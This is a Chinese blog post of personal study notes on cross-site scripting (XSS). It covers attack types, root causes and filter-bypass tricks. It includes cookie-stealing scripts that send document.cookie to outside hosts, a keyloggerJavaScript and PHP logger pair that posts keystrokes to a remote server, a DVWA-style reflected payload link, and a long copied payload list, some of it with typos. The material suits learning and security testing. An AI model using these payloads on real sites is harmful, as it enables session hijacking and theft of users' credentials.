XSS漏洞简单概述--UGa

XSS(跨站脚本攻击)是一种利用JavaScript进行恶意攻击的安全漏洞,常见于用户输入未严格过滤的场景。攻击者通过注入JS代码,可盗取用户账号、窃取Cookie、会话劫持等。XSS分为存储型、反射型和DOM型,防范措施包括过滤用户提交数据、使用DOM安全操作和编码绕过策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

XSS漏洞简单概述–UGa

									个人笔记向,请多指点

*简介

XSS作为OWASP TOP 10之一,XSS被称为跨站脚本攻击(Cross-site scripting) ,本来应该缩写为CSS,但是由于和CSS (Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象”空间特别大。

XSS通过将精心构造的代码(JS) 代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器.上网,并且浏览器中有javascript解释器,可以解析javascript, 然而浏览器不会判断代码是否恶意。也就是说,XSS的对象是用户和浏览器。

微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS。

*XSS危害

XSS利用JS代码实现攻击,有很多中攻击方法,以下简单列出几种:

1.盗取各种用户账号
2.窃取用户Cookie资料,冒充用户身份进入网站
3.劫持用户会话,执行任意操作

*JavaScript

/与Java语言无关,命名完全出于市场原因,使用最广的客户端脚本语言使用场景/

1.直接嵌入html:<script>alert('XSS');</script>`。
`2.元素标签事件:`<body onload=alert('XSS')>
3.图片标签:<img src="javascript:alert('XSS');>
4.其他标签:<iframe>,<div>,and<link>
5.DOM对象:篡改页面内容

*攻击参与方

·攻击者
·被攻击者
·漏洞站点
·第三方站点(攻击目标、攻击参与站)
/第三方网站在其中的作用如为攻击目标时,则攻击者会在某些流量大的网站上注入恶意js,该js指向第三方网站,则过多的流量将会直接冲垮该第三方网站;为如攻击参与站,则为攻击者所制作的钓鱼类型网站或者是某恶意网站/
在这里插入图片描述

										攻击示意图

*漏洞形成的根源

1.服务器对用户提交数据过滤不严
2.提交给服务器的脚本被直接返回给其他客户端执行
3.脚本在客户端执行恶意操作

*XSS漏洞类型

1.存储型(持久型)
/此种类型为攻击者直接在有漏洞的网站上植入恶意js代码,并残留在上面,以至于每次访问代码都会被激活/
2.反射型(非持久)
/需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面/
3.DOM型/DOM:通过JavaScript,可以重构整个HTML文档,就是说可以添加,移除等等,对页面的某个东西进行操作时,JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口就是DOM,所以在DOM型的xss漏洞利用中,DOM可以看成是一个访问HTML的标准程序接口/
在这里插入图片描述

                        			DOM概念图示       

*检测/注入语句(PoC验证性插入代码)

1.<script>alert('xss')</script>
2.<a href=" onclick=alert('xss')>type</a>
3.<img src=http://1.1.1.1/a.jpg onerror=alert('xss')>

/以上为经常使用的简单检测语句/

4.<script>-window.location='http://1.1.1.1'</script>
5.<iframe 'sRC="http://1.1.1.1/victim" height = "O" width ="O"></iframe>

/简单注入型,储存行/

6.<script>new Image().src="http://1.1.1.1/.php3output="+document.cookie;</script>
7.<script>document.body.innerHTML="<div style=visibility:visible;>h1>THISWEBSITE IS UNDER ATTACK</h1></div>";</script>

/利用dom特性的注入型xss/

*窃取cookie

<script src=1.1.1.1/a.js></script>

A.js源码

var img = new Image();

/定义一个新函数/
img src="http://1.1.1.1/cookies.php?cookie="+document.cookie;–>源码
/直接到指定的页面去寻找a.js源码,并且发送cookie/

*Keylogger.js(键盘输入型脚本)

/键盘储存脚本,适时记录用户所输入的东西/

.js源码:

Document.onkeypress = function(evt){
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key){
	var http = new XMLHttpRequest();
var param = encodeURl(key)
	http.open("POST","http://192.168.20.8/keylogger.php",true);
	http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
	}
}

.php储存数据的源码:
Keylogger.php

<?php
	$key=$_POST['key];
$loafile="keylog.txt";
$fp = fopen($logfile,"a");
fwite($fp,$key);
. 	fclose($fg);

Payload

<script src="http://1.1.1.1/keylogger.js"></script>
<a href="http://192.168.20.10/dvwa/vulnerabilities/xss_r/?name=<script+src='http://192.168.20.8/keylogger.js'></script>">xss</a>

*XSS漏洞防范绕过

在xss漏洞中,可能会出现过滤掉string也就是字符的时候,例如会把script这个东西过滤掉,此时可以通过嵌套分离避过过滤器<scr

另有直接把输入的代码彻底转换成一个字符值,不再识别<>符号,此时可以把符号转换成< >url编码形式来进行绕过,通过注销前一段语句使script语句闭合也是一种方式(“>;/>…)

另,如果注入点就本身在某个已有的标记以内(如<a …)此类,此时就可以直接插入语句来注入。

*存储型漏洞

/长期存储于服务器端,每次用户访问都会被执行javascript脚本/
Name:客户端表单长度限制
客户端、截断代理

a.js源码:

<script src=http://1.1.1.1/a.js></script>
var img = new lmage();
img.src = "http://1.1.1.1:88/cookies.phpcookie="+document.cookie;

*DOM型漏洞

<script>var img=document.createElement("img");img.src="http://192.168.20.8:88/log?"+escape(document.cookie);</script>

*payload
各种类型,摘抄如下

1</script>"><script>prompt(1)</script> 
2 </ScRiPt>"><ScRiPt>prompt(1)</ScRiPt> 
3 "><img src=x onerror=prompt(1)> 
4 "><svg/onload=prompt(1)> 
5 "><iframe/src=javascript:prompt(1)> 
6 "><h1 onclick=prompt(1)>Clickme</h1> 
7 "><a href=javascript:prompt(1)>Clickme</a> 
8 "><a href="javascript:confirm%28 1%29">Clickme</a> 
9 "><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a> 
10 "><textarea autofocus onfocus=prompt(1)> 
11 "><a/href=javascript&colon;co\u006efir\u006d&#40;&quot;1&quot;&#41;>clickme</a> 
12 "><script>co\u006efir\u006d`1`</script> 
13 "><ScRiPt>co\u006efir\u006d`1`</ScRiPt> 
14 "><img src=x onerror=co\u006efir\u006d`1`> 
15 "><svg/onload=co\u006efir\u006d`1`> 
16 "><iframe/src=javascript:co\u006efir\u006d%28 1%29> 
17 "><h1 onclick=co\u006efir\u006d(1)>Clickme</h1> 
18 "><a href=javascript:prompt%28 1%29>Clickme</a> 
19 "><a href="javascript:co\u006efir\u006d%28 1%29">Clickme</a> 
20 "><textarea autofocus οnfοcus=co\u006efir\u006d(1)>21 "><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome 
22 "><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme 
23 "><img/src=x%0Aonerror=prompt`1`> 
24 "><iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;"> 
25 "><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1> 
26 <details/open/ontoggle=alert(1)> 
27 <svg/onload=alert(1)> 
28 <img/src/onerror=alert(1)> 
29 <video/src/onerror=alert(1)> 
30 <script>(alert)(1)</script> 
31 <video><sourceonerror="javascript:alert(1)"> 
32 <video/src/onloadstart="alert(1)"> 
33 <ahref=javascript:alert(1)>222</a> 
34 xmp: 
35 <xmp><p title="</xmp><svg/onload=alert(45)>> 
36 noscript: 
37 <noscript><p title="</noscript><svg/onload=alert(45)>> 
38 noframes: 
39 <noframes><p title="</noframes><svg/onload=alert(45)>> 
40 iframe: 
41 <iframe><p title="</iframe><svg/οnlοad=alert(45)>">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值